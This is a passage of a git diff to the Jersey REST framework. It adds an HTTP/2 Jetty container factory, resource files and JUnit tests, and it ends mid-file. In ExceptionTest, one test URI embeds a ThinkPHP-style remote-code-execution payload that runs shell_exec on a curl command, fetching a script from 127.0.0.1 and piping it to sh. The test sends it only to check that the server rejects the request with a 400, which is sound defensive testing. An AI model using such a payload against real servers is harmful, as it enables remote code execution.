+import org.eclipse.jetty.server.ServerConnector; +import org.eclipse.jetty.server.SslConnectionFactory; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.glassfish.jersey.jetty.JettyHttpContainer; +import org.glassfish.jersey.jetty.JettyHttpContainerFactory; +import org.glassfish.jersey.jetty.JettyHttpContainerProvider; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.ResourceConfig; + +import jakarta.ws.rs.ProcessingException; +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +public final class JettyHttp2ContainerFactory { + + private JettyHttp2ContainerFactory() { + + } + + /** + * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createHttp2Server(final URI uri) throws ProcessingException { + return createHttp2Server(uri, null, null, true); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + *

    + * This implementation defers to the + * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be + * used as context path, the rest will be ignored. + * @param configuration web application configuration. + * @param start if set to false, server will not get started, which allows to configure the underlying + * transport layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start) + throws ProcessingException { + return createHttp2Server(uri, null, + ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start); + } + + /** + * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @param start if set to false, server will not get started, which allows to configure the underlying transport + * layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * + * @since 2.40 + */ + + public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException { + return createHttp2Server(uri, null, null, start); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * + * @since 2.40 + */ + public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start, + final Object parentContext) { + return createHttp2Server(uri, null, + new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class, + config, parentContext), start); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes found by searching the + * classes referenced in the java classpath. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param handler the container that handles all HTTP requests + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see JettyHttpContainer + * + * @since 2.40 + */ + public static Server createHttp2Server(final URI uri, + final SslContextFactory.Server sslContextFactory, + final JettyHttpContainer handler, + final boolean start) { + + /** + * Creating basic Jetty HTTP/1.1 container (but always not started) + */ + final Server server = JettyHttpContainerFactory.createServer(uri, sslContextFactory, handler, false); + /** + * Obtain configured HTTP connection factory + */ + final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0]; + final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class); + + /** + * Obtain prepared config + */ + final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration(); + + /** + * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server + */ + final List factories = getConnectionFactories(config, sslContextFactory); + + /** + * adding connection factories for H2/H2C protocol + */ + for (final ConnectionFactory factory : factories) { + httpServerConnector.addConnectionFactory(factory); + } + server.setConnectors(new Connector[]{httpServerConnector}); + + /** + * Starting the server if required + */ + if (start) { + try { + // Start the server. + server.start(); + } catch (final Exception e) { + throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e); + } + } + return server; + } + + private static List getConnectionFactories(final HttpConfiguration config, + final SslContextFactory.Server sslContextFactory) { + final List factories = new ArrayList<>(); + if (sslContextFactory != null) { + factories.add(new HTTP2ServerConnectionFactory(config)); + final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory(); + alpn.setDefaultProtocol("h2"); + factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol())); + factories.add(alpn); + } else { + factories.add(new HTTP2CServerConnectionFactory(config)); + } + + return factories; + } +} diff --git a/containers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider new file mode 100644 index 00000000000..4d2a88dd127 --- /dev/null +++ b/containers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider @@ -0,0 +1 @@ +org.glassfish.jersey.jetty.http2.JettyHttp2ContainerProvider \ No newline at end of file diff --git a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties new file mode 100644 index 00000000000..ba290bd84e5 --- /dev/null +++ b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties @@ -0,0 +1,19 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +# {0} - status code; {1} - status reason message +error.when.creating.server=Exception thrown when trying to create jetty server. +not.supported=Jetty container is not supported on JDK version less than 17. \ No newline at end of file diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java new file mode 100644 index 00000000000..d3a68a83f4b --- /dev/null +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java @@ -0,0 +1,126 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import java.net.URI; +import java.security.AccessController; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.RuntimeType; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ResourceConfig; + +import org.eclipse.jetty.server.Server; +import org.junit.jupiter.api.AfterEach; + +/** + * Abstract Jetty Server unit tester. + * + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Miroslav Fuksa + */ +public abstract class AbstractJettyServerTester { + + private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName()); + + public static final String CONTEXT = ""; + private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998 + + /** + * Get the port to be used for test application deployments. + * + * @return The HTTP port of the URI + */ + protected final int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + + try { + final int i = Integer.parseInt(value); + if (i <= 0) { + throw new NumberFormatException("Value not positive."); + } + return i; + } catch (NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid positive integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + return DEFAULT_PORT; + } + + private final int getPort(RuntimeType runtimeType) { + switch (runtimeType) { + case SERVER: + return getPort(); + case CLIENT: + return server.getURI().getPort(); + default: + throw new IllegalStateException("Unexpected runtime type"); + } + } + + private volatile Server server; + + public UriBuilder getUri() { + return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT); + } + + public void startServer(Class... resources) { + ResourceConfig config = new ResourceConfig(resources); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final URI baseUri = getBaseUri(); + server = JettyHttp2ContainerFactory.createHttp2Server(baseUri, config, true); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI()); + } + + public void startServer(ResourceConfig config) { + final URI baseUri = getBaseUri(); + server = JettyHttp2ContainerFactory.createHttp2Server(baseUri, config, true); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI()); + } + + public URI getBaseUri() { + return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build(); + } + + public void stopServer() { + try { + server.stop(); + server = null; + LOGGER.log(Level.INFO, "Jetty-http server stopped."); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @AfterEach + public void tearDown() { + if (server != null) { + stopServer(); + } + } +} diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java new file mode 100644 index 00000000000..7828d9b79e2 --- /dev/null +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java @@ -0,0 +1,168 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.concurrent.atomic.AtomicInteger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Response; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.is; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Michal Gajdos + */ +public class AsyncTest extends AbstractJettyServerTester { + + @Path("/async") + public static class AsyncResource { + + public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0); + + @GET + public void asyncGet(@Suspended final AsyncResponse asyncResponse) { + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep() + try { + Thread.sleep(5000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(final AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.") + .build()); + } + }); + asyncResponse.setTimeout(3, TimeUnit.SECONDS); + + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep() + try { + Thread.sleep(7000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("multiple-invocations") + public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) { + INVOCATION_COUNT.incrementAndGet(); + + new Thread(new Runnable() { + @Override + public void run() { + asyncResponse.resume("OK"); + } + }).start(); + } + } + + private Client client; + + @BeforeEach + public void setUp() throws Exception { + startServer(AsyncResource.class); + client = ClientBuilder.newClient(); + } + + @Override + @AfterEach + public void tearDown() { + super.tearDown(); + client = null; + } + + @Test + public void testAsyncGet() throws ExecutionException, InterruptedException { + final Future responseFuture = client.target(getUri().path("/async")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + // get() waits for the response + assertEquals("DONE", response.readEntity(String.class)); + } + + @Test + public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException { + final Future responseFuture = client.target(getUri().path("/async/timeout")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } + + /** + * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request. + */ + @Test + public void testAsyncMultipleInvocations() throws Exception { + final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get(); + + assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1)); + + assertThat(response.getStatus(), is(200)); + assertThat(response.readEntity(String.class), is("OK")); + } +} diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java new file mode 100644 index 00000000000..60e086bc717 --- /dev/null +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java @@ -0,0 +1,97 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.apache.http.HttpHost; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.message.BasicHttpRequest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.PathParam; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import java.io.IOException; +import java.net.URI; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + */ +public class ExceptionTest extends AbstractJettyServerTester { + @Path("{status}") + public static class ExceptionResource { + @GET + public String get(@PathParam("status") int status) { + throw new WebApplicationException(status); + } + + } + + @Test + public void test400StatusCodeForIllegalSymbolsInURI() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction" + + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0" + + ".0.1/ldr.sh|sh"; + BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCodeForIllegalHeaderValue() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400"); + request.addHeader("X-Forwarded-Host", "_foo.com"); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCode() throws IOException { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("400").build()); + assertEquals(400, r.request().get(Response.class).getStatus()); + } + + @Test + public void test500StatusCode() { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("500").build()); + + assertEquals(500, r.request().get(Response.class).getStatus()); + } +} diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java new file mode 100644 index 00000000000..93ae01fac7f --- /dev/null +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java @@ -0,0 +1,133 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener; +import org.glassfish.jersey.server.spi.Container; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import static org.hamcrest.CoreMatchers.equalTo; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Reload and ContainerLifecycleListener support test. + * + * @author Paul Sandoz + * @author Marek Potociar + */ +public class LifecycleListenerTest extends AbstractJettyServerTester { + + @Path("/one") + public static class One { + @GET + public String get() { + return "one"; + } + } + + @Path("/two") + public static class Two { + @GET + public String get() { + return "two"; + } + } + + public static class Reloader extends AbstractContainerLifecycleListener { + Container container; + + public void reload(ResourceConfig newConfig) { + container.reload(newConfig); + } + + public void reload() { + container.reload(); + } + + @Override + public void onStartup(Container container) { + this.container = container; + } + + } + + @Test + public void testReload() { + final ResourceConfig rc = new ResourceConfig(One.class); + + Reloader reloader = new Reloader(); + rc.registerInstances(reloader); + + startServer(rc); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals(404, r.path("two").request().get(Response.class).getStatus()); + + // add Two resource + reloader.reload(new ResourceConfig(One.class, Two.class)); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals("two", r.path("two").request().get(String.class)); + } + + static class StartStopListener extends AbstractContainerLifecycleListener { + volatile boolean started; + volatile boolean stopped; + + @Override + public void onStartup(Container container) { + started = true; + } + + @Override + public void onShutdown(Container container) { + stopped = true; + } + } + + @Test + public void testStartupShutdownHooks() { + final StartStopListener listener = new StartStopListener(); + + startServer(new ResourceConfig(One.class).register(listener)); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertThat(r.path("one").request().get(String.class), equalTo("one")); + assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404)); + + stopServer(); + + assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called."); + assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called."); + } +} diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java new file mode 100644 index 00000000000..3e7a8ac4c16 --- /dev/null +++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java @@ -0,0 +1,62 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Response; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class OptionsTest extends AbstractJettyServerTester { + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + } + + @Test + public void testFooBarOptions() { + startServer(HelloWorldResource.class); + Client client = ClientBuilder.newClient(); + Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(0, response.getLength()); + assertEquals("foo/bar", response.getMediaType().toString()); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + +} diff --git a/containers/jetty-servlet/pom.xml b/containers/jetty-servlet/pom.xml index 62d7adc8a32..1f3c4db6c37 100644 --- a/containers/jetty-servlet/pom.xml +++ b/containers/jetty-servlet/pom.xml @@ -1,7 +1,7 @@ + target17/classes/org/glassfish/jersey/jetty/JettyWebContainerFactory.class + + [11,17) + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + true + + + + + org.apache.maven.plugins + maven-resources-plugin + true + + + copy-jdk17-classes + prepare-package + + copy-resources + + + ${java11.build.outputDirectory}/classes/META-INF/versions/17 + + + ${java17.build.outputDirectory}/classes + + + + + + + + org.apache.maven.plugins + maven-antrun-plugin + + + copy-jdk17-sources + package + + + + sources-jar: ${sources-jar} + + + + + + + run + + + + + + + + + diff --git a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java new file mode 100644 index 00000000000..afbec622ab4 --- /dev/null +++ b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java @@ -0,0 +1,239 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.servlet; + +import jakarta.servlet.Servlet; +import jakarta.ws.rs.ProcessingException; +import org.eclipse.jetty.server.Server; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.servlet.ServletContainer; + +import java.net.URI; +import java.util.Map; + +/** + * Factory for creating and starting Jetty {@link Server} instances + * for deploying a Servlet. + *

    + * The default deployed server is an instance of {@link ServletContainer}. + *

    + * If no initialization parameters are declared (or is null) then root + * resource and provider classes will be found by searching the classes + * referenced in the java classpath. + * + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public final class JettyWebContainerFactory { + + private JettyWebContainerFactory() { + } + + /** + * Create a {@link Server} that registers the {@link ServletContainer}. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(String u) + throws Exception { + if (u == null) { + throw new IllegalArgumentException("The URI must not be null"); + } + + return create(URI.create(u)); + } + + /** + * Create a {@link Server} that registers the {@link ServletContainer}. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param initParams the servlet initialization parameters. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(String u, Map initParams) + throws Exception { + if (u == null) { + throw new IllegalArgumentException("The URI must not be null"); + } + + return create(URI.create(u), initParams); + } + + /** + * Create a {@link Server} that registers the {@link ServletContainer}. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(URI u) + throws Exception { + return create(u, ServletContainer.class); + } + + /** + * Create a {@link Server} that registers the {@link ServletContainer}. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param initParams the servlet initialization parameters. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(URI u, Map initParams) + throws Exception { + return create(u, ServletContainer.class, initParams); + } + + /** + * Create a {@link Server} that registers the declared + * servlet class. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param c the servlet class. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(String u, Class c) + throws Exception { + if (u == null) { + throw new IllegalArgumentException("The URI must not be null"); + } + + return create(URI.create(u), c); + } + + /** + * Create a {@link Server} that registers the declared + * servlet class. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param c the servlet class. + * @param initParams the servlet initialization parameters. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(String u, Class c, + Map initParams) + throws Exception { + if (u == null) { + throw new IllegalArgumentException("The URI must not be null"); + } + + return create(URI.create(u), c, initParams); + } + + /** + * 